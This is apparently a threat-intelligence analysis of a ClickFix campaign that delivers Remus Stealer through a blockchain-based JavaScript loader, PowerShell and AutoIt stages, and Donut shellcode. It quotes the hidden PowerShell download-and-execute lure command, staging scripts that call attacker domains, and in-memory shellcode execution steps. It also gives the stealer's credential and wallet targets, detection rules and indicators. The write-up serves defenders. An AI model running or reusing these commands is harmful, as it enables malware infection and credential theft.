Inside PhantomPolia: Remus Stealer Delivery via Donut Shellcode in ClickFix Campaign
4 Minute Read
by King Orande and Cris Tomboc
Key Takeaways
- The LevelBlue Operational Cyber Threat Intelligence (OpsCTI) Team recently observed a ClickFix campaign delivering Remus Stealer through compromised websites.
- The campaign uses PhantomPolia, a JavaScript loader that retrieves an encrypted configuration from an Ethereum Sepolia smart contract through public Remote Procedure Call (RPC) endpoints. The loader then decrypts the configuration locally using PBKDF2 and AES-GCM, revealing the next-stage command-and-control (C2) domain without exposing it directly on the compromised site.
- The chain shifts to a ClickFix lure that tricks the victim into running a PowerShell command. The command retrieves and decrypts another configuration using AES-CBC before downloading a bundled installer containing an AutoIt executable and script.
- The AutoIt script decrypts embedded shellcode and executes it from dynamically allocated executable memory. The shellcode, which is also Donut-packed, ultimately loads the final payload: Remus Stealer.
- TheRemus Stealer collects a wide range of system information and sensitive data, including credentials, browser data, password managers, and cryptocurrency wallets. The stealer malware compresses the stolen data using a custom method and then encrypts it with ChaCha20 before sending it to the attacker-controlled server.
Technical Analysis
The following analysis examines recent PhantomPolia activity observed across multiple incidents, beginning with compromised websites and tracing the infection chain through each stage of execution. An overview of the campaign is shown below:

Figure 1. Overview of the PhantomPolia operation.
Incident Overview
Since the beginning of September 2026, the OpsCTI team has identified multiple ClickFix lure sites that trick victims into running a malicious command. These commands follow a consistent format, resulting in an identical execution chain across multiple incidents. The common command structure observed is shown below:
powerShell.exe -w h -ep bypass -c "iex((iwr '{domain}/check/update.ps1'-UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0').Content)"

Figure 2. ClickFix lure.
Stage 1 - JavaScript: PhantomPolia
During review of the web activity, the ClickFix lure was traced back to compromised websites containing an embedded JavaScript loader.

Figure 3. Embedded PhantomPolia script.
The first-stage JavaScript performs several functions to retrieve and decrypt the configuration used to load the next-stage script:
- Loader Initialization — Dynamically imports Ethers.js v5.7.2 from CDN fallback locations and initializes the Ethereum JSON-RPC and smart-contract functionality.
- Sepolia Ethereum as Dead-Drop Resolver — Attempts to connect to multiple public Ethereum Sepolia RPC endpoints. Then, it instantiates an Ethers.js Contract object using a hardcoded contract address and Application Binary Interface (ABI) containing the getText() read-only function.
- PBKDF2 Key Derivation — Uses sample-specific PBKDF2 password material, the retrieved salt, SHA-256, and 100k iterations to derive a 256-bit AES key.
- AES-GCM Decryption — Uses the derived key and retrieved IV to decrypt the configuration, producing a Base64-encoded domain.
- Next-Stage Script Loading — Combines the decoded domain with a hardcoded script path to construct the URL of the next-stage JavaScript payload.
Loader Initialization
Inspection of the source of the ClickFix lure site reveals that the embedded JavaScript loader is using an indexed string table to dynamically resolve property names:
'hxxps://', '45qtJARF', 'deriveKey', '6748259PIQLPR', 'JsonRpcProvider', 'AES-GCM', '16LYopcc', '1/redmast.js', '687BzxXNx', 'Contract', 'getText', '1119228EQlLeQ', 'body', 'src', 'function', 'length', 'substr', '543231qJoRFc','hxxps://0xrpc[]].io/sep','hxxps://cdn[.]jsdelivr.net/npm/ethers@5.7.2/dist/ethers.esm.js','728901ZpMurD','0x5a3589462b41fa8cF91ac2C7773A285d9c790548','subtle', 'encode', 'log', 'PBKDF2', 'Failed\x20to\x20load\x20from:', 'createElement', '13484LrXEPI', 'script', 'decrypt', '11580VjZXsD', '1573ufZzge', 'warn', 'SHA-256', 'deriveBits', 'split', 'hxxps://1rpc[.]io/sepolia', 'string', 'getBlockNumber', 'appendChild', '180966EjKhPk', 'error'
Among these strings are references to Ethers.js v5.7.2 web3 library, which the loader dynamically imports using multiple CDN locations as fallbacks:
GET hxxps://cdn.jsdelivr[.]net/npm/ethers@5.7.2/dist/ethers.esm.js
GET hxxps://unpkg[.]com/ethers@5.7.2/dist/ethers.esm.js
Ethers.js provides the browser-side Ethereum provider and smart-contract functionality required by the loader to communicate with the Sepolia network.
Sepolia Ethereum as Dead-Drop Resolver
Ethereum Sepolia is a public Ethereum testnet intended primarily for development and testing. In this activity, however, the loader leverages a smart contract on Sepolia as a remotely controlled dead-drop resolver for downstream infrastructure. Rather than embedding the downstream C2 domain directly in the compromised page, the loader retrieves an encrypted configuration from the blockchain and decodes it at runtime. This approach allows the compromised page to operate without hosting or directly referencing any attacker-owned domain.
A similar dead-drop technique has been observed in multiple cases, including the following Magecart Campaign. Given the consistency of the technique and the accompanying encryption routine, we refer to this activity as PhantomPolia.
To retrieve the blockchain-hosted configuration, the loader contains multiple public Sepolia RPC endpoints. It attempts the first provider and falls back to the additional endpoints if the preceding request fails:
GET hxxps://0xrpc[.]io/sep
GET hxxps://1rpc[.]io/sepolia
GET hxxps://eth-sepolia-testnet[.]api.pocket.network
The loader uses these providers to issue an Ethereum JSON-RPC eth_call request against the target smart contract. The contract returns a minimal read-only ABI containing the function selector getText() (0xe00fe2eb) to retrieve the stored value:
|
Request |
Response |
|
{ "method": "eth_call", "params": [ { "to": "0x5a3589462b41fa8cf91ac2c7773a285d9c790548", "data": "0xe00fe2eb" }, "latest" ], "id": 46, "jsonrpc": "2.0" } |
{ "jsonrpc": "2.0", "id": 46, "result": "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000008a33366539626161666564663562616366303433666633643836326163336161343a38323132643262646131633436343739393862316139326564616533336238303a61313336313731636637663535306663333963613432353039316364653939616236363035653866363633353636643137303535356339326139616639303930383965633165323800000000000000000000000000000000000000000000" } |
After ABI decoding, the returned value contains the following encrypted configuration:
36e9baafedf5bacf043ff3d862ac3aa4:8212d2bda1c4647998b1a92edae33b80:a136171cf7f550fc39ca425091cde99ab6605e8f663566d170555c92a9af909089ec1e28
The loader splits this value into colon-delimited fields, which provide the parameters required for AES-GCM decryption:
|
Field |
Value |
|
Salt |
36e9baafedf5bacf043ff3d862ac3aa4 |
|
Initialization Vector (IV) |
8212d2bda1c4647998b1a92edae33b80 |
|
AES-GCM parameter |
a136171cf7f550fc39ca425091cde99ab6605e8f663566d170555c92a9af909089ec1e28 |
|
ciphertext |
a136171cf7f550fc39ca425091cde99ab6605e8f |
|
GCM Tag |
663566d170555c92a9af909089ec1e28 |
PBKDF2 Key Derivation
The loader does not directly use the blockchain-retrieved value as a decryption key. Instead, it contains another hardcoded value stored in the cPassword variable:
034415dafdf168c75e4600b7c9458e8fcd9db957de0f413947c2333b2e5e240e
This value is imported through the Web Crypto API and used as the PBKDF2 key material. The loader then derives the missing 256-bit AES key using the blockchain-provided salt, 100k iterations rounds, and SHA-256 hashing function. Below is the generated derived key:
cd919a6a7c6e942e9d97773b3069f8b2306a1dd4981203506bb5302cfd4062f2

Figure 4. PBKDF2 key derivation and the resulting 256-bit AES key.
AES-GCM Decryption
Finally, the derived 256-bit AES key and IV are then passed to the Web Crypto API for AES-GCM decryption in the decryptDomain() function.

Figure 5. decryptDomain function.
Following successful decryption, the resulting bytes are decoded as text and passed to atob(), indicating that the AES-GCM plaintext is Base64-encoded:
|
Result |
Decoded |
|
dmVsbm9kZXJpYy5jb20= |
velnoderic.com |

Figure 6. AES-GCM decryption routine and Base64 decoded domain.
An analysis of additional compromised websites identified the same decryption routine across multiple samples. The retrieved infrastructure is summarized below:
|
Domain |
PBKDF2 password |
Sepolia Contract |
|
voderlence[.]com |
b7a49bfe734499684435a2d5bce25994deccf7fab1752ae98b892bbdee44a056 |
0x4dBdca7277427eDEe4D5b4E3D012bCa73Aefadf1 |
|
nightflamevortex[.]top |
9ba9103cf28abf54e63655cc57956403d1f48a42b51d9277a5b94eb2e6116979 |
0x28B7605bE52B7107cD7710F6F855a1a026E72F4a |
|
voidravenstorm[.]top |
baadf410b634ffed2decbc4f66f2613fa2d1559a749aac8a4311631b46cb77ec |
0x5eA589954314Fe8D5eCB509b35D77a389912B42F |
|
velnoderic[.]com |
034415dafdf168c75e4600b7c9458e8fcd9db957de0f413947c2333b2e5e240e |
0x5a3589462b41fa8cf91ac2c7773a285d9c790548 |
|
ironphantomcore[.]top |
6177effa359be26ba663cb6f511c376a6c6145394bcfb9cc6ad13e26c0efc3e0 |
0x3b14187b76dc39005E8D568B26455D53bD198749 |
|
stormvenomforge[.]top |
834cd32eb3b4c87a2bec086625319c50a2625ca839065dabe9fd3c5647105edb |
0x61B3e0681f6485e4e85e5eE981757d8B12Ec414f |
|
shadowemberstrike[.]top |
a8e443851e9a99444395c156022c599bccaef93cf56788ea76695ec5f79bacfb |
0x5A155a3f01fA60C3fa0177022bA05fCC6A313a4D |
Note: The analyzed samples use distinct PBKDF2 password material and Sepolia contract addresses. Therefore, each corresponding contract returns encrypted configuration that decodes to a distinct C2 domain, while the same decryption process is used across the samples.
Dedicated to hunting and eradicating the world's most challenging threats.
SpiderLabsStage 2 - JavaScript: ClickFix Delivery
The loader then uses the decoded domain to construct the URL for the next-stage payload. It dynamically creates a <script> element and assigns the decrypted domain to its src attribute:
const script = document.createElement("script");
script.src = "https://" + decryptedDomain + "/" + scriptPath;
document.body.appendChild(script);
The scriptPath is also hardcoded in the loader. For the analyzed sample, the resulting resource URL is:
hxxps://<C2 Domain>/<digit>/(redmast|tippro|ladelo|topl|service_worker).js
This second-stage JavaScript performs several functions before delivering the ClickFix payload. The observed activity consists of:
- Victim Profiling — Queries a PHP endpoint to obtain the visitor's IP address and country code.
- Visitor Registration — Constructs a visitor-specific JSON record containing the unique identifier, IP address, originating domain, User-Agent, country code, and browser language, then Base64-encodes the record for submission to the remote server.
- ClickFix Content Retrieval — Sends the encoded visitor record as the stat parameter and processes the returned Base64-encoded data containing the ClickFix HTML elements and PowerShell command.
Victim Profiling
The script first performs basic victim profiling by querying the server for the visitor's network and geographic information.
|
Method |
Request |
Response |
|
GET |
hxxps://<C2 domain>/(cloclic|cloA3t|clipset|pour| client_api).php |
{ "ip": <IP address>, "country_code": <Country Code> } |
Visitor Registration
The script then constructs a structured visitor record containing information collected from the browser and the profiling response:
{
"uid": <Unique ID>,
"ip": <IP Address>,
"domain": <Referring or Originating Compromised Domain>,
"useragent": <User-Agent>,
"countryCode": <Country Code>,
"language": <Browser language>
}
ClickFix Content Retrieval
The resulting JSON object will be Base64-encoded and included as an additional parameter in a new GET request. If successful, the server will respond with an encoded data object.
|
Method |
Request |
Response |
|
GET |
hxxps://<C2 domain>/api/v1/statistics/visit?stat=<Base64 blob> |
{ "success": true, " data ": <Base64 blob> } |

Figure 7. Successful response from the remote server, containing a Base64-encoded data object.
The decoded response contains HTML elements used to construct the ClickFix prompt, along with a Base64-encoded PowerShell command.

Figure 8. Decoded ClickFix configurations.
Stage 3 - PowerShell Execution (update.ps1)
The ClickFix command executes a remote script named update.ps1, a consistent filename used by this campaign, which initiates a multi-stage retrieval and decryption chain. The update.ps1 script performs several functions as part of the PowerShell execution chain.
The observed activity consists of:
- Initial Download— Performs HTTPS requests using request-specific $id, $nonce, and $ts parameters, with retry logic and the WindowsPowerShell User-Agent, to retrieve the next stage PowerShell script.
- Key Retrieval and AES-CBC Decryption — Requests a decryption key from the attacker-controlled server, SHA-256 hashes the UTF-8 encoded key to derive a 256-bit AES key, and Base64-decodes the encrypted content. The first 16 bytes are used as the IV, while the remaining bytes are treated as ciphertext and decrypted using AES-256-CBC with PKCS#7 padding.
- Remote Payload Retrieval — The decrypted PowerShell stage defines an executable filename and writes the downloaded payload to the Windows temporary directory (%TEMP%).
Initial Download
The script initializes three request parameters ($sid, $nonce, and $ts) and attempts to retrieve the first-stage content.
GET hxxps://cloudcheckic[.]com/a698891e68d71ead7b51649ec27a1384?id=cf1d026f09e207c1ea44e5e0cb272ee272ab8f96507959dd0b20e0542c666f0f&nonce=c5999babb6d361afb4a799f3fb9f4f00&ts=1789650568000 HTTP/1.1
User-Agent: WindowsPowerShell
Host: cloudcheckic[.]com
Connection: Keep-Alive
try {
$sid=''
$nonce=''
$ts=
$stage1Retries = 3
$stage1Content = $null
for ($r = 1; $r -le $stage1Retries; $r++) {
try {
$stage1Response = Invoke-WebRequest -Uri "hxxps:// cloudcheckic[.]com/fea685e85ae8f904b3e979afc0e062bb?id=$sid&nonce=$nonce&ts=$ts" -UseBasicParsing -TimeoutSec 10 -UserAgent 'WindowsPowerShell'
Note: The request parameters and observed URL path vary between requests, resulting in dynamic generation of URL path.
The script attempts the request up to three times. If a request fails, it waits two seconds before trying again. When a response containing content is received, the response body is stored in $stage1Content.
if ($stage1Response -and $stage1Response.Content) {
$stage1Content = $stage1Response.Content
break
}
} catch {
if ($r -ge $stage1Retries) { throw "Failed to get Stage-1 after $stage1Retries attempts" }
Start-Sleep -Seconds 2
}
Key Retrieval and AES-CBC Decryption
When a response containing content is received, the response body is stored in $stage1Content. This will hold another PowerShell script.
try {
$sid=''
$nonce=''
$ts=
$encryptedData=''
$expectedStage2Hash=''
$keyPath='/'
$keyUrl="hxxps://cloudcheckic[.]com/3956c8bdebb48342cb2e265b6be19ae4?id=$sid&nonce=$nonce&ts=$ts"
$keyRetries = 3
$keyData = $null
for ($r = 1; $r -le $keyRetries; $r++) {
try {
$keyData = Invoke-WebRequest -Uri $keyUrl -UseBasicParsing -TimeoutSec 10 -UserAgent 'WindowsPowerShell'
if ($keyData -and $keyData.Content) { break }
} catch {
if ($r -ge $keyRetries) { throw "Failed to get key after $keyRetries attempts" }
Start-Sleep -Seconds 2
}
}
This script initializes a separate set of request parameters and retrieves additional data from the same domain:
GET hxxps://cloudcheckic[.]com/3956c8bdebb48342cb2e265b6be19ae4?id=11a879d4599de275ab48f899bb6c507cb80559204178c1854de131c5cc7af65f&nonce=eb82ad83d725e7f703d0bdc7b2927f8d&ts=1789650643328 HTTP/1.1User-Agent: WindowsPowerShellHost: cloudcheckic[.]comConnection: Keep-Alive
Unlike the first-stage response, this request returns a JSON object containing a key value. The retrieved key is used as the input for the next key derivation process. Also, the key is the same value to $sid.
{"key":"11a879d4599de275ab48f899bb6c507cb80559204178c1854de131c5cc7af65f"}
The script converts the retrieved key to UTF-8 bytes and hashes it using SHA-256. The resulting 32-byte SHA-256 digest is used as the AES key.
The data stored in $encryptedData is Base64-decoded and divided into two parts. The first 16 bytes are extracted as the Initialization Vector (IV), while the remaining bytes are treated as ciphertext:
$sha256=[System.Security.Cryptography.SHA256]::Create()$key=$sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($decryptionKey))$encData=[System.Convert]::FromBase64String($encryptedData)$iv=New-Object byte[] 16$ciphertext=New-Object byte[] ($encData.Length - 16)[Array]::Copy($encData, 0, $iv, 0, 16)[Array]::Copy($encData, 16, $ciphertext, 0, $ciphertext.Length)
The script then configures the AES implementation with CBC mode and PKCS7 padding:
$aes=[System.Security.Cryptography.Aes]::Create()
$aes.Key=$key
$aes.IV=$iv
$aes.Mode=[System.Security.Cryptography.CipherMode]::CBC
$aes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7
The decrypted content is subsequently used by the PowerShell execution chain for the next stage:

Figure 9. Key derivation and AES-CBC decryption logic used to decrypt the retrieved stage PowerShell script.
Remote Payload Retrieval
The decrypted PowerShell script defines a temporary directory, an executable filename, and the URL used to retrieve the executable:
$tempPath = [System.IO.Path]::GetTempPath()
$exeName = <Hardcoded File Name>
$exePath = Join-Path $tempPath $exeName
$downloadSource = "hxxps://cloudcheckic.com/f654a79f56219371b242f551552191a7"
The script obtains the system's temporary directory. Then it defines the executable filename and destination. Below are the observed executable filenames:
data_work.exe | current-cache.exe | audio-music.exe | download-package.exe
Stage 4 - AutoIt Script
The downloaded installer is pre-bundled with AutoIt3.exe, which drops and loads an .au3 script from the same folder location.
"%Temp%\{randomized}\AutoIt3.exe" %Temp%\{randomized}\(Setup_e30ea5.au3 | AutoStart_33875e.au3 | Config_9571a0.au3)

Figure 10. AutoIt process execution logs.
The AutoIt script stores a large Base64-encoded encrypted blob. The F79F6tx() function calls the Windows CryptStringToBinaryA API from crypt32.dll to convert this blob into binary data.

Figure 11. Base64-encoded encrypted blob stored in the AutoIt script.
The resulting binary data and the hexadecimal key material are then passed to FxTUleHs(). This function converts the hexadecimal key material into raw bytes, constructs a custom CryptoAPI key blob containing the key size and key material, and imports the key through the Windows CryptoAPI:
- CryptAcquireContextW— obtains a cryptographic provider context.
- CryptImportKey — imports the constructed key blob.
- CryptDecrypt— decrypts the binary data.

Figure 12. CryptoAPI key import and decryption routine.
After decryption, the FhY61r7A() function checks the size of the resulting buffer. If the decrypted data is at least 100 bytes, the script allocates memory using VirtualAlloc(..., $sz, 0x3000, 0x40). The observed allocation parameters are:
- 0x3000 — MEM_COMMIT | MEM_RESERVE
- 0x40 — PAGE_EXECUTE_READWRITE
The decrypted buffer is then copied into the allocated memory region using DllStructSetData(). Finally, the script calls CreateThread() and supplies the address returned by VirtualAlloc() as the thread start address, causing the decrypted data to execute directly from the allocated memory region.
Stage 5 - Donut Shellcode
The extracted shellcode is injected into the same AutoIt process. Analysis of the sample indicates that the shellcode is packed using Donut with the following configuration:
{
"Instance Type": "DONUT_INSTANCE_EMBED",
"Entropy Type": "DONUT_ENTROPY_DEFAULT",
"Decoy Module": "",
"Module Type": "DONUT_MODULE_DLL",
"Compression Type": "DONUT_COMPRESS_NONE"
}
There is a publicly available donut-decryptor that can be used to unpack and extract the final payload. In the analyzed shellcode, the extracted payload is a Remus Stealer sample.

Figure 13. Extracting Remus Stealer from the donut-packed shellcode.
Final Stage: Remus Stealer
Remus Stealer is an information-stealing malware publicly observed on February 12, 2026, on a Russian-language underground forum. The stealer malware exhibits similarities to the Lumma malware family and has been characterized by researchers as a potential successor.
Beacon Sequence
Before exfiltrating the collected information, Remus performs a three-stage communication sequence:
|
Request # |
Sequence |
Body |
|
1 |
Registration Request |
tag=<32-hex campaign-id>&exp=<Unix>&hwid=<32-hex host fingerprint> |
|
2 |
Token Assignment |
access_token=<UUID>&debug=<encoded_data> |
|
3 |
Data Upload |
3 fields: access_token=<UUID>, type=0, name=file (filename=data, octet-stream) |
Remus resolves the WinHTTP functions used for network communication at runtime through hashed API names. The observed API sequence is:
- WinHttpOpen going to spogear[.]click:3546 with User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
- WinHttpConnect, WinHttpOpenRequest (POST method)
- WinHttpSendRequest (Content-Type: application/x-www-form-urlencoded)
- WinHttpReceiveResponse
- WinHttpReadData

Figure 14. WinHTTP functions used for communicating with the remote server.
Sequence No. 1: Registration Request
The first beacon request registers the victim with the remote server using three parameters. In the analyzed sample, the registration request was sent to github[.]com using the /comments endpoint. The request used application/x-www-form-urlencoded encoding and included the following parameters:
- tag - Cleartext Campaign ID. This is an embedded MD5 value in the .rdata section of the binary.
- exp - Unix Timestamp.
- hwid - Victim Hardware Identifier.
POST /comments HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
Host: github[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 89
tag=eb39e…8de60&exp=1789747829& hwid=a9f5b…a9af5
Sequence No. 2: Token Assignment
Following successful registration, the server issues a session token that the malware uses as access_token parameter for subsequent communication.

Figure 15. Token assignment response.
POST /comments HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
Host: github[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 142
access_token=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX&debug=58d83eff9…f569ce0ce
Sequence No. 3: Data Upload
The third stage transmits collected information through a multipart/form-data POST request. The request contains three form parts.
|
Form Part |
Observed Value |
|
access_token |
Session token <UUID> |
|
type |
0 |
|
file |
Encrypted Blob |

Figure 16. Wireshark Follow-HTTP-Stream view of data upload traffic.
The access_token value is the same session token inherited from previous request. The type has a value of 0. The file field octet-stream body contains encrypted binary data that reveals various system information upon decryption.
Exfiltration: Host and Environment Data
The malware collects this system information using Windows Management Instrumentation (WMI) queries against the ROOT\CIMV2and ROOT\SecurityCenter2 namespaces. Observed queries include:
"SELECT * FROM Win32_OperatingSystem"
"SELECT * FROM Win32_VideoController"
"SELECT * FROM AntiVirusProduct"

Figure 17. ‘Info.yml’ data containing collected system and host information.
The resulting collected host and environment information are then saved to Info.yml. The malware then processes the collected data using custom LZ77 implementation rather than a standard zlib compression. Below are the observed collected fields:
Build date and campaign tag
Malware execution path
Elevation status
IP address and country
Collection timestamp
Windows version and architecture
Time zone, local date, and installation date
System language
Computer, username, NetBIOS, and hostname values
Antivirus product and state
Motherboard manufacturer and product
CPU manufacturer, model, and reported core/thread information
GPU information
Display resolution
The compressed data containing the Info.yml is subsequently encrypted with ChaCha20 using a per-message key and nonce. A notable implementation characteristic is that the resulting blob contains:
[ ciphertext ][ 32-byte key ][ 8-byte nonce ]
The final 40 bytes therefore consist of the encryption material itself: a 32-byte ChaCha20 key followed by an 8-byte nonce.

Figure 18. Decrypted contents of the ChaCha20-encrypted host and environment data exfiltration blob.
Note: Since key and nonce are present within the captured data blob and can be extracted directly, we can decrypt the ciphertext from the traffic without recovering a separate key from the malware configuration or attacker-controlled server.
Exfiltration: Application and Credential Data
In addition to the access_token, the server provides a separate encrypted JSON configuration containing collection tasks. After decryption, the configuration resolves into collection labels and extension or filesystem identifiers.

Figure 19. Encoded Remus configuration.
Below is the sample decrypted task that targets Armory Bitcoin Wallet data:
|
"type": 0, "name": "VtkKWwG4ZjczrXk=", "data": { "YKl7CEWpOggQqQsIJKkaCBSpGghFqQ==": [ { "path": "21e9DZpXzw22V9INqVfEDQ==", "name": "89+SEbKt/36Bpg==", "mask": [ "KnMqwQBzBMFdc0vBRnNGwU9zXsE=" ], "depth": 1 |
"type": 0, "name": "Wallets", "data": { "%AppData%": [ { "path": "Data\\Roaming", "name": "Armory", "mask": [ "*.wallet" ], "depth": 1 |
Observed targeting extends across the following categories.
|
Category |
Target |
|
Applications |
1Password, 3D-FTP, AnyClient, AnyDesk, Authy Desktop, Auto FTP Manager, Azure, Bitwarden, Codex, Cursor, Em Client, FileZilla, FTP Commander Deluxe, FTP Manager Lite, FTPbox, FTPGetter, FTPInfo, FTPRush, Google Cloud, KeePass, NordPass, NordVPN, Notezilla, OpenCode, OpenVPN, ProtonVPN, Riot Games, SmartFTP, Sticky Notes, Telegram, Telegram UWP, TotalCommander, UltraVNC |
|
Wallets |
Armory, Atomic, Binance, Bitcoin Core, Coinomi, Daedalus, DashCore, ElectronCash, Electrum, Electrum-LTC, Ethereum, Exodus, Gleec, Guarda, JAXX New Version, Ledger Live, Neon, Ripple, Sparrow, Wasabi |
|
Chromium-Based Browsers |
360 Security Browser, Arc Browser, AVG Secure Browser, Brave-Browser, CentBrowser, Chedot, Chrome, Chrome Beta, Claude Code, CocCoc Browser, Comet Browser, CryptoTab Browser, Discord, Discord Canary, DiscordPTB, Edge, Epic Privacy Browser, Iridium, Maxthon, Opera, Opera Air, Opera GX, Opera Neon, QQBrowser, UCBrowser, Vivaldi, Wave Browser |
|
Mozilla-Based Browsers |
Floorp Browser, Mozilla Firefox, Thunderbird, Waterfox, Zen Browser |
|
Authenticator and 2FA |
2FA Authenticator, 2FAS Auth, Authenticator, Authenticator 2FA Client, Authenticator App, Authy, EOS Authenticator, GAuth Authenticator, Google Authenticator, MFA (Multi Factor Authentication Assistant), TOTP Authenticator, Two-Factor Authentication, TypingDNA 2FA Authenticator, Web2FA |
|
Password manager |
1Password, 1Password Nightly, AuthX Lite, Avira Password Manager, Bitwarden, BrowserPass, ByePass, C2 Password, Cloaked, CommonKey, Cyclonis, Dashlane, DualSafe, Enpass, ESET Password Manager, F-Secure Password Manager, GateKeeper, heylogin, IronVest, JumpCloud, Kee, Keeper, LastPass, MindYourPass, MultiPassword, MYKI Password Manager & Authenticator, Netwrix Password Secure, Norton Password Manager, Passbolt, Passky, Password Boss, Password Depot, pCloud Pass, Proton Password Manager, RoboForm, SAASPASS Password Manager & Authenticator, SafeInCloud, SecureSafe, Steganos, Sticky Password Manager, Total Password, Trezor Password Manager, Zoho Vault |
|
Screen Capture |
Captures the entire virtual desktop (all monitors) via GDI and encodes as a 32bpp BMP, appended to the exfiltration collection |
Similarly, these stolen artifacts are processed using the same compression and ChaCha20 encryption mechanisms before exfiltrating it to the attacker-controlled server.

Figure 20. Decrypted contents of the ChaCha20-encrypted application and credential data exfiltration blob.
Conclusion
ClickFix continues to evolve as threat actors combine familiar social engineering techniques with legitimate services, system utilities, and increasingly complex delivery chains. While the initial lure and downstream infrastructure may vary between campaigns, the delivery mechanism observed in the samples analyzed remains consistent. This highlights how threat actors can combine legitimate tools and services to build a multi-stage attack chain to avoid directly exposing their infrastructure.
In addition to ClickFix, the threat actor uses several tools and techniques throughout the campaign, including the PhantomPolia loader as a dead-drop resolver, PowerShell and AutoIt scripts for malware staging, and Donut-packed shellcode for fileless execution. This creates multiple layers of evasion before delivering the final payload: Remus Stealer. From a defensive perspective, this also provides several opportunities for detection, from the initial user interaction through payload execution and command-and-control activity. LevelBlue combines managed detection and response with threat intelligence to help customers identify and respond to emerging threats, as well as disrupt similar campaigns brought about by threat actors’ continuous updating of their tactics and infrastructure.
Appendix A: Hunting Opportunities
Suricata
# Stage 1 — PhantomPolia Ethereum Sepolia lookup
alert http $HOME_NET any -> any any (msg:"PhantomPolia Ethereum Sepolia eth_call";flow:established,to_server;http.method; content:"POST";http.header; content:"Content-Type|3A| application/json";http.request_body; content:"\"method\":\"eth_call\"";classtype:trojan-activity;)
alert http $HOME_NET any -> any any (msg:"PhantomPolia known Sepolia contract lookup";flow:established,to_server;http.request_body;content:"\"to\":\"0x5a3589462b41fa8cf91ac2c7773a285d9c790548\"";classtype:trojan-activity;
# Stage 2 — ClickFix delivery
alert http $HOME_NET any -> any any (msg:"PhantomPolia ClickFix visitor registration";flow:established,to_server;http.method; content:"GET";http.uri; content:"/api/v1/statistics/visit";http.uri; content:"stat=";classtype:trojan-activity;)
# Stage 3 — PowerShell delivery
alert http $HOME_NET any -> any any (msg:"Remus ClickFix update.ps1 retrieval";flow:established,to_server;http.method; content:"GET";http.uri; content:"/check/update.ps1";classtype:trojan-activity;)
# Remus Registration Beacon
alert http $HOME_NET any -> any any (msg:"Remus Stealer registration beacon";flow:established,to_server;http.method; content:"POST";http.header; content:"application/x-www-form-urlencoded";http.request_body;content:"tag=";content:"exp=";content:"hwid=";classtype:trojan-activity;)
# Remus Token Assignment
alert http $HOME_NET any -> any any (msg:"Remus Stealer token assignment";flow:established,to_server;http.method; content:"POST";http.header; content:"application/x-www-form-urlencoded";http.request_body;content:"access_token=";content:"debug=";classtype:trojan-activity;)
# Remus Data Upload
alert http $HOME_NET any -> any any (msg:"Remus Stealer multipart data upload";flow:established,to_server;http.method; content:"POST";http.header; content:"multipart/form-data";http.request_body;content:"name=|22|access_token|22|";content:"name=|22|type|22|";content:"name=|22|file|22|";content:"filename=|22|data|22|";content:"application/octet-stream";classtype:trojan-activity;)
EDR
# AutoIt Execution
process_name = "AutoIt3.exe" AND command_line MATCHES /(Setup|AutoStart|Config)_[A-Za-z0-9]{6}\.au3/i
# PowerShell Execution
process_name = "powershell.exe" AND command_line MATCHES /(-w\s+h|-WindowStyle\s+Hidden).*?(-ep\s+bypass|-ExecutionPolicy\s+Bypass).*?(-c\s+|-Command\s+).*?(iex|Invoke-Expression).*?(iwr|Invoke-WebRequest)/i
# Sepolia RPC Endpoint Connections (Unexpected connections)
remote_url MATCHES /^https?:\/\/(0xrpc\.io\/sep|1rpc\.io\/sepolia|eth-sepolia-testnet\.api\.pocket\.network)/i
# RunMRU Registry
registry_path = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" AND registry_value MATCHES /(powershell|pwsh|curl|wscript|cscript|cmd)\.exe/i
# C2 Web Request (Staging Artifacts)
remote_url MATCHES /\/[0-9]+\/(redmast|tippro|ladelo|topl|service_worker)\.js/i
remote_url MATCHES /\/check\/update\.ps1)/i
# C2 Web Request (Victim Profiling and Registration)
remote_url MATCHES /\/(cloclic|cloA3t|clipset|pour|client_api)\.php/i
remote_url MATCHES /\/api\/v1\/statistics\/visit\?stat\=/i
Appendix B: Indicators of Compromise (IoC)
|
IOC Value |
Description |
|
voderlence[.]com |
PhantomPolia Domain |
|
nightflamevortex[.]top |
|
|
voidravenstorm[.]top |
|
|
velnoderic[.]com |
|
|
ironphantomcore[.]top |
|
|
stormvenomforge[.]top |
|
|
shadowemberstrike[.]top |
|
|
workeslexamp[.]com/check/update[.]ps1 |
ClickFix URL |
|
cloudcheckic[.]com/check/update[.]ps1 |
|
|
spaceclou[.]com/check/update[.]ps1 |
|
|
littworkers[.]com/check/update[.]ps1 |
|
|
cokakina[.]com/check/update[.]ps1 |
|
|
citywebntw[.]com/Check/Update[.]ps1 |
|
|
littnetworks[.]com/check/update[.]ps1 |
|
|
05629F35DFE1409EA963C135581C228E3B71869B0707974244F6938AF635A70E |
audio-music.exe |
|
8F4903B8B110EC1B9580A5A27BF49C3E4793538A863100559D085B7545FCDA25 |
data_work.exe |
|
f02e2fefd74c7268e3aced61017173fff92e2a1d0e7eaf7807189f371fbfcc1f |
download-package.exe |
|
61def8b242913b520ec110458a416b02a6a38dc8765bc76bd571ee7ae8350aae |
AutoStart_33875e.au3 |
|
22B0FC350B5E5C557344267B3C44323AC117D3FBEB5CF1BCB8B027352155FA11 |
Setup_e30ea5.au3 |
|
A38E6F54EFE342B4A2CA9AC4428A5268FAED96CD602BAA1886EFB09F72435ABB |
Config_9571a0.au3 |
|
